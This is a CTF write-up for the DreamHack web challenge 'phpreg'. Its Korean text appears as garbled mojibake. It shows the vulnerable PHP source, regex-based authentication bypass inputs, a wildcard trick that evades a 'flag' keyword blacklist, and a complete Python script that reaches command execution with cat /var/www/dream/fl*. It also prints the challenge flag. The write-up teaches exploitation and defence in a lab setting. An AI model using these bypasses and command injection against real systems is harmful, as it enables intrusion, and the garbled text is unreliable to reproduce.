๋ฌธ์ : DreamHack โ phpreg ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 4 FLAG:
DH{ad866c64dabaf30136e22d3de2980d24c4da617b9d706f81d10a1bc97d0ab6f6}
์ด๋ฆ ๊ทธ๋๋ก PHP ์ ๊ท์ ๋ฌธ์ ๋ค. Step 1์์ ๋๋ค์/๋น๋ฐ๋ฒํธ๋ก ๋ฌธ์ ์ด๊ณ , Step 2์์ ๋ช
๋ น์ ์คํํ๋ ๋ ๋จ๊ณ ๊ตฌ์กฐ์ธ๋ฐ, ๋จ๊ณ๋ง๋ค preg_replaceยทpreg_match๋ก ๋ง๋ ํจ์ ์ด ๊น๋ ค ์๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | phpreg |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Web (์ ๊ท์ ์ฐํ โ Command Injection) |
| ์ ๊ณต | index.php, step2.php + ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | preg_replace ์นํ ํ ๋น๊ต + preg_match ๋ธ๋๋ฆฌ์คํธ ์ฐํ |
๊ด๋ฌธ์ ์
์ด๋ค. โ ๋๋ค์์ด preg_replace๋ฅผ ๊ฑฐ์น ๋ค ์ ํํ dnyang0310์ด์ด์ผ ํ๊ณ , โก ๋น๋ฐ๋ฒํธ๋ ์ํ๋ฒณ์ด ์์ด์ผ ํ๋ฉด์ preg_replace ์นํ ํ d4y0r50ng+1+13์ด์ด์ผ ํ๊ณ , โข ํต๊ณผํ๋ฉด system($cmd)๊ฐ ์ด๋ฆฌ์ง๋ง cmd์ flag ๋ฌธ์์ด์ ๋งํ ์๋ค. ์
์ ์ฐจ๋ก๋ก ๋ซ๋๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ preg_replace๋ "์ง์ด ๋ค"๋ฅผ ๋น๊ตํ๋ค
PHP์ preg_replace($pattern, $replacement, $subject)๋ $subject์์ ํจํด์ ๋ง๋ ๋ถ๋ถ์ ๋ชจ๋ ์ฐพ์ $replacement๋ก ๋ฐ๊พผ ๊ฒฐ๊ณผ ๋ฌธ์์ด์ ๋๋ ค์ค๋ค. ์ด ๋ฌธ์ ์ฒ๋ผ "์นํํ ๊ฒฐ๊ณผ"๋ฅผ ๊ณ ์ ๋ฌธ์์ด๊ณผ ===๋ก ๋น๊ตํ๋ฉด, ์ฐ๋ฆฌ๋ ๊ฑฐ๊พธ๋ก ์นํ ํ ์ํ๋ ๊ฒฐ๊ณผ๊ฐ ๋์ค๋๋ก ์
๋ ฅ์ ์ค๊ณํ๋ฉด ๋๋ค.
๋ ๊ฐ์ง ์ฑ์ง์ด ์ด์ ๋ค.
- ํจํด์ด ์ญ์ (
$replacement๊ฐ ๋น ๋ฌธ์์ด)๋ฉด, ๊ฒฐ๊ณผ์ ๊ทธ ํจํด์ด ๋จ์ ์์ผ๋ฉด ์ ๋ ๊ฒ ๊ฐ์ง๋ง โ ๋งค์นญ์ ๋ณดํต ๊ฒน์น์ง ์๊ฒ ์ผ์ชฝ๋ถํฐ ํ ๋ฒ์ฉ ์ฒ๋ฆฌํ๋ฏ๋ก, ํจํด์ ๊ฒน์ณ ๋ฐฐ์นํ๋ฉด ์ผ๋ถ๋ง ์ง์์ง๊ณ ๋๋จธ์ง๊ฐ ๋จ๋๋ค. - ํจํด์ด ์นํ์ด๋ฉด, ๋งค์นญ๋ ๋ถ๋ถ์ด ํต์งธ๋ก
$replacement๋ก ๋ฐ๋๋ค. ๊ทธ๋ฌ๋ ์ ๋ ฅ์ "์นํ๋ ํจํด + ๊ทธ๋๋ก ๋จ๊ธธ ๋๋จธ์ง"๋ก ์ชผ๊ฐ ๋ง๋ ๋ค.
preg_match๋ ๊ฒ์ฌ์ฉ์ด๋ค. preg_match("/flag/i", $cmd)๋ $cmd์ flag(๋์๋ฌธ์ ๋ฌด์)๊ฐ ๋ค์ด ์์ผ๋ฉด 1์ ๋๋ ค์ค๋ค. ๋ธ๋๋ฆฌ์คํธ๋ผ "์๋ํ ๋ช
๋ น์ flag๋ผ๋ ๊ธ์ ์์ด" ์ฐ๋ฉด ๋น ์ ธ๋๊ฐ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
step2.php์ PHP ๋ธ๋ก์ด ์ ๋ถ๋ค.
$input_name = $_POST["input1"] ? $_POST["input1"] : "";
$input_pw = $_POST["input2"] ? $_POST["input2"] : "";
// pw filtering
if (preg_match("/[a-zA-Z]/", $input_pw)) {
echo "alphabet in the pw :(";
} else {
$name = preg_replace("/nyang/i", "", $input_name);
$pw = preg_replace("/\d*\@\d{2,3}(31)+[^0-8\"]\!/", "d4y0r50ng", $input_pw);
if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") {
// Step 2: cmd ์
๋ ฅ ํผ ๋
ธ์ถ
$cmd = $_POST["cmd"] ? $_POST["cmd"] : "";
if ($cmd === "") { /* show form */ }
else if (preg_match("/flag/i", $cmd)) { echo "<pre>Error!</pre>"; }
else { echo "<pre>--Output--\n"; system($cmd); echo "</pre>"; }
} else {
echo "Wrong nickname or pw";
}
}๊ด๋ฌธ ์ ์ ํ๋์ฉ ์๊ตฌ์ฌํญ์ผ๋ก ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
| ๊ด๋ฌธ | ์กฐ๊ฑด | ์ ์ฝ |
|---|---|---|
| ๋๋ค์ | preg_replace("/nyang/i","",input1) === "dnyang0310" | ๊ฒฐ๊ณผ์ nyang์ด ๋จ์์ผ ํจ |
| ๋น๋ฐ๋ฒํธ | preg_replace(ํจํด,"d4y0r50ng",input2) === "d4y0r50ng+1+13" | input2์ ์ํ๋ฒณ ๊ธ์ง |
| ๋ช ๋ น | system($cmd) | cmd์ flag ๊ธ์ง |
๐ฃ ํต์ฌ โ ์ธ ๊ด๋ฌธ ์ฐํ ์ค๊ณ

โ ๋๋ค์ โ nyang์ ๊ฒน์น๊ฒ ๋ผ์ ํ ๋ฒ๋ง ์ง์ด๋ค
๋ชฉํ ๊ฒฐ๊ณผ๋ dnyang0310์ธ๋ฐ, ๊ฑฐ๊ธฐ์ nyang์ด ๋ค์ด ์๋ค. preg_replace๊ฐ nyang์ ๋ค ์ง์ฐ๋๋ฐ ์ด๋ป๊ฒ ๊ฒฐ๊ณผ์ nyang์ด ๋จ์๊น.
๋งค์นญ์ด ๊ฒน์น์ง ์๊ฒ ์งํํ๋ค๋ ์ ์ ์ด์ฉํ๋ค. nyang์ ๋ ๋ฒ ๊ฒน์ณ ๋์ผ๋ฉด, ์์ง์ด ๊ฐ์ด๋ฐ ํ ๋ฒ๋ง ์ก์ ์ง์ฐ๊ณ ์์์ด ๋ถ์ด ์ nyang์ด ๋ง๋ค์ด์ง๋ค.
input1 = d ny[nyang]ang 0310 โ "dnynyangang0310"
โ ์ด ๋ถ๋ถ๋ง ์ญ์
๊ฒฐ๊ณผ = d ny + ang 0310 โ "dnyang0310"์ฆ dnynyangang0310์ ๋ฃ์ผ๋ฉด ๊ฐ์ด๋ฐ nyang๋ง ์ง์์ง๊ณ dny + ang0310์ด ์ด์ด์ ธ dnyang0310์ด ๋๋ค.
โก ๋น๋ฐ๋ฒํธ โ ์ํ๋ฒณ ์์ด ์นํ ํจํด ๋ง์ถ๊ธฐ
๋น๋ฐ๋ฒํธ๋ ์ํ๋ฒณ์ด ์์ผ๋ฉด ๋ฐ๋ก ๊ฑธ๋ฆฐ๋ค. ๊ทธ๋ฐ๋ฐ ๋ชฉํ d4y0r50ng+1+13์๋ ์ํ๋ฒณ์ด ์๋ฉ์ด๋ค. ๋น๋ฐ์ ๊ทธ d4y0r50ng ๋ถ๋ถ์ด ๋ด ์
๋ ฅ์ด ์๋๋ผ ์นํ ๊ฒฐ๊ณผ๋ผ๋ ๊ฒ์ด๋ค. ์นํ ํจํด์ ์ํ๋ฒณ ์์ด ๋ง์กฑ์ํค๋ฉด PHP๊ฐ ์์์ d4y0r50ng์ ๋ฐ์์ค๋ค.
ํจํด \d*\@\d{2,3}(31)+[^0-8\"]\!์ ์ํ๋ฒณ ์์ด ์ฑ์ด๋ค.
| ์กฐ๊ฐ | ์๋ฏธ | ์ฑ์ด ๊ฐ |
|---|---|---|
\d* | ์ซ์ 0๊ฐ ์ด์ | (์์) |
\@ | ๋ฆฌํฐ๋ด @ | @ |
\d{2,3} | ์ซ์ 2~3๊ฐ | 12 |
(31)+ | 31 ๋ฐ๋ณต | 31 |
[^0-8\"] | 0~8๊ณผ ํฐ๋ฐ์ดํ๊ฐ ์๋ ํ ๊ธ์ | 9 |
\! | ๋ฆฌํฐ๋ด ! | ! |
์ด์ด ๋ถ์ด๋ฉด @12319!์ด๊ณ , ์ฌ๊ธฐ์ ๊ทธ๋๋ก ๋จ๊ธธ +1+13์ ๋ถ์ธ๋ค.
input2 = "@12319!+1+13" (์ํ๋ฒณ 0๊ฐ โ pw ํํฐ ํต๊ณผ)
์นํ๋ถ @12319! โ d4y0r50ng
๊ฒฐ๊ณผ = "d4y0r50ng+1+13" โ ์ธ์ฆ ํต๊ณผ
์ ์ถํ๋ฉด ๋ฌธ์ด ์ด๋ฆฌ๊ณ Step 2์ ๋ช ๋ น ์ ๋ ฅ ํผ์ด ๋์จ๋ค.

โข ๋ช
๋ น โ flag ํํฐ๋ฅผ ์์ผ๋์นด๋๋ก ์ฐํ
system($cmd)๋ ์ด๋ ธ์ง๋ง cmd์ flag๊ฐ ์์ผ๋ฉด ๋งํ๋ค. flag ํ์ผ์ ์ง์ cat flag.txt๋ก ์ฝ์ ์ ์๋ค. ์
ธ ์์ผ๋์นด๋ *๋ก ํ์ผ๋ช
์ ๋์ ๋งค์นญํ๋ฉด flag๋ผ๋ ๊ธ์๋ฅผ ์ฐ์ง ์๊ณ ๋ ๊ทธ ํ์ผ์ ๊ฐ๋ฆฌํฌ ์ ์๋ค โ fl*์ flag.txt์ ๋งค์นญ๋์ง๋ง ๋ฌธ์์ด flag๋ฅผ ํฌํจํ์ง ์๋๋ค.
๐ฏ ์ต์คํ๋ก์
๋จผ์ ๋ช
๋ น์ด ์ค์ ๋ก ์คํ๋๋์ง id๋ก ํ์ธํ๋ค.

flag ์์น๋ฅผ ์ฐพ๋๋ค. ls๋ find์ ์ถ๋ ฅ์ flag๊ฐ ๋์ค๋ ๊ฑด ์๊ด์๋ค โ ํํฐ๋ ์ฐ๋ฆฌ๊ฐ ๋ณด๋ธ cmd ๋ฌธ์์ด๋ง ๊ฒ์ฌํ๊ธฐ ๋๋ฌธ์ด๋ค. ๋ค๋ง ๋ช
๋ น ์์ฒด์๋ flag๋ฅผ ์ฐ๋ฉด ์ ๋๋ ๋๋ ํ ๋ฆฌ๋ง ๋์ดํ๋ค.

flag๋ ์น ๋ฃจํธ๊ฐ ์๋๋ผ /var/www/dream/flag.txt์ ์์๋ค. fl* ์์ผ๋์นด๋๋ก ์ฝ๋๋ค.
cmd = cat /var/www/dream/fl*
๐ Full Exploit
์ธ ๊ด๋ฌธ ์ฐํ๋ฅผ ํ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์๋ค. ์ธ์ฆ์ฉ input1/input2๋ ๊ณ ์ ์ด๊ณ , cmd๋ง ๋ฐ๊ฟ ๊ฐ๋ฉฐ RCE๋ฅผ ํ๋ค. ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ด ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ง ์ด๋ค.
#!/usr/bin/env python3
# phpreg โ PHP preg_replace/preg_match ์ฐํ 2๋จ๊ณ โ RCE ๋ก flag.txt ์ฝ๊ธฐ.
import sys, re, urllib.request, urllib.parse
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:8586"
# Step1 ์ฐํ ํ์ด๋ก๋
INPUT1 = "dnynyangang0310" # preg_replace(/nyang/i,'') โ dnyang0310 (๊ฒน์นจ์ผ๋ก 1ํ๋ง ์ญ์ )
INPUT2 = "@12319!+1+13" # ์ํ๋ฒณ 0๊ฐ + ์นํ๋ถ @12319! โ d4y0r50ng, ๊ฒฐ๊ณผ d4y0r50ng+1+13
def post(cmd=None):
data = {"input1": INPUT1, "input2": INPUT2}
if cmd is not None:
data["cmd"] = cmd
body = urllib.parse.urlencode(data).encode()
return urllib.request.urlopen(BASE + "/step2.php", data=body, timeout=20).read().decode()
def out(cmd):
m = re.search(r'--Output--\n(.*?)</pre>', post(cmd), re.S)
return m.group(1).strip() if m else "(no output)"
print("[1] auth :", "OK (Step 2)" if "Almost done" in post() else "FAIL")
print("[2] find :", out('ls /var/www/dream/'))
print("[3] flag :", out('cat /var/www/dream/fl*')) # 'flag' ํํฐ๋ฅผ fl* ๋ก ์ฐํ๋๋ฆฌ๋ฉด ์ธ์ฆ๋ถํฐ flag๊น์ง ํ ๋ฒ์ ๋์จ๋ค.

๐ ๊ฒฐ๋ก
์ ๊ท์์ผ๋ก ๋ง๋ ๊ด๋ฌธ์ "์ ๊ท์์ ๋์ ๋ฐฉ์"๊น์ง ๊ฐ์ด ๊ฒํ ํด์ผ ํ๋ค.
preg_replace๋ก ๋ฌด์ธ๊ฐ๋ฅผ ์ง์ฐ๊ฑฐ๋ ๋ฐ๊พธ๊ณ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์ธ์ฆ์ ์ฐ๋ฉด, ๊ณต๊ฒฉ์๋ ์นํ ๋์์ ๊ฑฐ๊พธ๋ก ํ์ด ์ํ๋ ๊ฒฐ๊ณผ๋ฅผ ๋ง๋ค์ด๋ธ๋ค. ์ด ๋ฌธ์ ์ ๋๋ค์์ ๋งค์นญ์ด ๊ฒน์น์ง ์๋๋ค๋ ์ฑ์ง์, ๋น๋ฐ๋ฒํธ๋ ์นํ ๊ฒฐ๊ณผ๊ฐ ์
๋ ฅ๊ณผ ๋ค๋ฅด๋ค๋ ์ฑ์ง์ ๊ทธ๋๋ก ์ด์ฉ๋นํ๋ค.
preg_match ๋ธ๋๋ฆฌ์คํธ๋ ์ฝํ๋ค. flag ํ ๋จ์ด๋ฅผ ๋ง์๋ ์
ธ ์์ผ๋์นด๋ fl* ํ ๋ฒ์ด๋ฉด ๋์ด๋ค. ์
๋ ฅ์์ ์ํํ ๋จ์ด๋ฅผ ์ง์ฐ๋ ๋ฐฉ์์ ๊ฑฐ์ ํญ์ ์ฐํ๋ก๊ฐ ์๋ค.
๋ฐฉ์ด๋ "์ฐจ๋จ"์ด ์๋๋ผ "ํ์ฉ"์ผ๋ก ๋ค์ง๋ ๊ฒ ๋ง๋ค. ์ธ์ฆ๊ฐ์ ์ ๊ท์ ๊ฐ๊ณต ๊ฒฐ๊ณผ๋ก ๋น๊ตํ์ง ๋ง๊ณ ์
๋ ฅ ์์ฒด๋ฅผ ์ ํํ ๊ฒ์ฆํ๊ณ , ๋ช
๋ น ์คํ์ด ๊ผญ ํ์ํ๋ฉด system์ ์ฌ์ฉ์ ์
๋ ฅ์ ๋๊ธฐ์ง ์๊ฑฐ๋ ์ธ์๋ฅผ ํ์ดํธ๋ฆฌ์คํธ๋ก ๊ฐ์ ํ๋ค. ์ฐจ๋จํ ๋จ์ด๋ฅผ ์ธ๋ ์๊ฐ ์ด๋ฏธ ์ง ์ธ์์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ